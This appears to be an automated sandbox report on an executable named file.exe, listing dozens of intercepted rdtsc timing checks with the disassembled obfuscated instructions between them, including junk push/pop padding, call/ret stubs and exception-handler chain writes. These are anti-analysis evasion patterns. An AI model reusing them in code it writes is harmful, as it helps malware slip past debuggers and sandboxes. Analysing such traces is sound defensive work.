Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 458673 second address: 4586B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E5h 0x00000009 jne 00007FF218C0A9D6h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 jnc 00007FF218C0A9D6h 0x00000019 jmp 00007FF218C0A9E7h 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4586B8 second address: 4586CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4586CF second address: 4586D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 459079 second address: 45907D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45907D second address: 45908F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FF218C0A9D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45908F second address: 459093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 459093 second address: 4590A3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF218C0A9D6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4590A3 second address: 4590A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45920B second address: 459213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 459213 second address: 459219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 459219 second address: 45921D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45921D second address: 459221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 459221 second address: 459227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 459227 second address: 45925E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF2192CCE1Dh 0x0000000c jmp 00007FF2192CCE17h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF2192CCE12h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4597B6 second address: 4597C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4597C0 second address: 4597EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF2192CCE0Ch 0x00000008 jmp 00007FF2192CCE0Eh 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FF2192CCE0Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42AA85 second address: 42AA89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42AA89 second address: 42AA93 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF2192CCE06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45F19D second address: 45F1AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 461136 second address: 461140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4616D8 second address: 4616DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4617E3 second address: 4617EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF2192CCE06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428F77 second address: 428F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428F7B second address: 428FC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE17h 0x00000007 jmp 00007FF2192CCE0Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FF2192CCE0Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF2192CCE15h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428FC4 second address: 428FF3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007FF218C0A9D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e jnc 00007FF218C0A9EEh 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46699D second address: 4669A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4669A1 second address: 4669B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF218C0A9D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 468405 second address: 46840F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF2192CCE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46840F second address: 468413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4686F8 second address: 4686FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 468BFA second address: 468BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 468BFF second address: 468C47 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FF2192CCE08h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 and edi, dword ptr [ebp+1244A740h] 0x00000029 pushad 0x0000002a mov ebx, dword ptr [ebp+122D39D3h] 0x00000030 mov dword ptr [ebp+122D2EB1h], edi 0x00000036 popad 0x00000037 nop 0x00000038 push edi 0x00000039 jc 00007FF2192CCE0Ch 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 468FC4 second address: 468FD2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FF218C0A9D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46970F second address: 46976A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007FF2192CCE19h 0x0000000d nop 0x0000000e mov di, dx 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D2DB2h], esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007FF2192CCE08h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 xor edi, dword ptr [ebp+122D3A93h] 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46976A second address: 46976E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46A0D2 second address: 46A0D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 469F4D second address: 469F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46A0D6 second address: 46A0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46A0DC second address: 46A17C instructions: 0x00000000 rdtsc 0x00000002 je 00007FF218C0A9D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FF218C0A9E4h 0x00000013 push eax 0x00000014 jmp 00007FF218C0A9E3h 0x00000019 pop eax 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007FF218C0A9D8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 jmp 00007FF218C0A9E4h 0x0000003b jmp 00007FF218C0A9DAh 0x00000040 push 00000000h 0x00000042 mov dword ptr [ebp+122D27CAh], eax 0x00000048 add esi, 71585B61h 0x0000004e push 00000000h 0x00000050 xor dword ptr [ebp+122D32AFh], eax 0x00000056 xchg eax, ebx 0x00000057 jo 00007FF218C0A9E8h 0x0000005d push eax 0x0000005e push edx 0x0000005f jns 00007FF218C0A9D6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46A17C second address: 46A180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46B262 second address: 46B268 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46B268 second address: 46B291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF2192CCE17h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jc 00007FF2192CCE10h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46B291 second address: 46B2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, 6DDCA6C7h 0x0000000d push 00000000h 0x0000000f mov esi, edx 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 mov dword ptr [ebp+122D2F09h], eax 0x0000001a pop edi 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF218C0A9E2h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46C7E2 second address: 46C814 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF2192CCE0Eh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FF2192CCE1Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46D1C5 second address: 46D1D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CF83 second address: 46CF89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46D1D3 second address: 46D1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CF89 second address: 46CF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46D1D7 second address: 46D1DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46D1DD second address: 46D1E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46DCF0 second address: 46DCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46DCF4 second address: 46DCFE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46DCFE second address: 46DD04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46E4B6 second address: 46E4BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4734B1 second address: 4734B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47528E second address: 4752C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF2192CCE1Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jl 00007FF2192CCE08h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 jnc 00007FF2192CCE06h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4752C0 second address: 4752FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 add ebx, 7CA63A40h 0x0000000d push 00000000h 0x0000000f and ebx, dword ptr [ebp+122D2AB2h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FF218C0A9D8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push eax 0x00000032 push eax 0x00000033 push edi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4763D7 second address: 476473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FF2192CCE11h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FF2192CCE08h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2C7Bh], ebx 0x0000002c push 00000000h 0x0000002e jng 00007FF2192CCE06h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FF2192CCE08h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D2C3Bh], ecx 0x00000056 xchg eax, esi 0x00000057 pushad 0x00000058 jmp 00007FF2192CCE0Fh 0x0000005d jmp 00007FF2192CCE0Fh 0x00000062 popad 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 jne 00007FF2192CCE0Ch 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47459B second address: 4745A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4745A1 second address: 4745AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF2192CCE0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 475454 second address: 475458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4745AF second address: 4745B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 473797 second address: 47379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4765BB second address: 4765CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jno 00007FF2192CCE06h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 478463 second address: 478467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4775B9 second address: 4775C3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4775C3 second address: 4775DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF218C0A9E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 479457 second address: 479473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF2192CCE18h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 479473 second address: 4794DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FF218C0A9E7h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FF218C0A9D8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a jmp 00007FF218C0A9E2h 0x0000002f cmc 0x00000030 push 00000000h 0x00000032 sbb di, D061h 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 push esi 0x0000003a jno 00007FF218C0A9D6h 0x00000040 pop esi 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4794DD second address: 4794E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4794E1 second address: 4794E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47866B second address: 478718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FF2192CCE08h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 movzx ebx, cx 0x00000029 push dword ptr fs:[00000000h] 0x00000030 add dword ptr [ebp+122D2D93h], edx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d sub dword ptr [ebp+124746EBh], edx 0x00000043 mov eax, dword ptr [ebp+122D01CDh] 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007FF2192CCE08h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 00000014h 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 jp 00007FF2192CCE0Ch 0x00000069 pushad 0x0000006a or bx, 4466h 0x0000006f jmp 00007FF2192CCE15h 0x00000074 popad 0x00000075 push FFFFFFFFh 0x00000077 mov dword ptr [ebp+122D2F38h], ecx 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 jns 00007FF2192CCE0Ch 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 478718 second address: 47871C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47871C second address: 478722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47A590 second address: 47A600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FF218C0A9D8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D38B3h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FF218C0A9D8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 stc 0x0000004a push 00000000h 0x0000004c jmp 00007FF218C0A9DCh 0x00000051 xchg eax, esi 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FF218C0A9DBh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47966A second address: 479741 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF2192CCE0Ch 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jns 00007FF2192CCE10h 0x00000012 nop 0x00000013 xor dword ptr [ebp+1244CA82h], esi 0x00000019 push dword ptr fs:[00000000h] 0x00000020 jmp 00007FF2192CCE12h 0x00000025 movzx ebx, ax 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f mov di, si 0x00000032 mov eax, dword ptr [ebp+122D05FDh] 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FF2192CCE08h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 call 00007FF2192CCE15h 0x00000057 add di, 107Eh 0x0000005c pop ebx 0x0000005d push FFFFFFFFh 0x0000005f push 00000000h 0x00000061 push ebp 0x00000062 call 00007FF2192CCE08h 0x00000067 pop ebp 0x00000068 mov dword ptr [esp+04h], ebp 0x0000006c add dword ptr [esp+04h], 00000014h 0x00000074 inc ebp 0x00000075 push ebp 0x00000076 ret 0x00000077 pop ebp 0x00000078 ret 0x00000079 mov edi, dword ptr [ebp+122D2FE3h] 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 push ecx 0x00000083 jmp 00007FF2192CCE19h 0x00000088 pop ecx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47B59D second address: 47B5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E9h 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
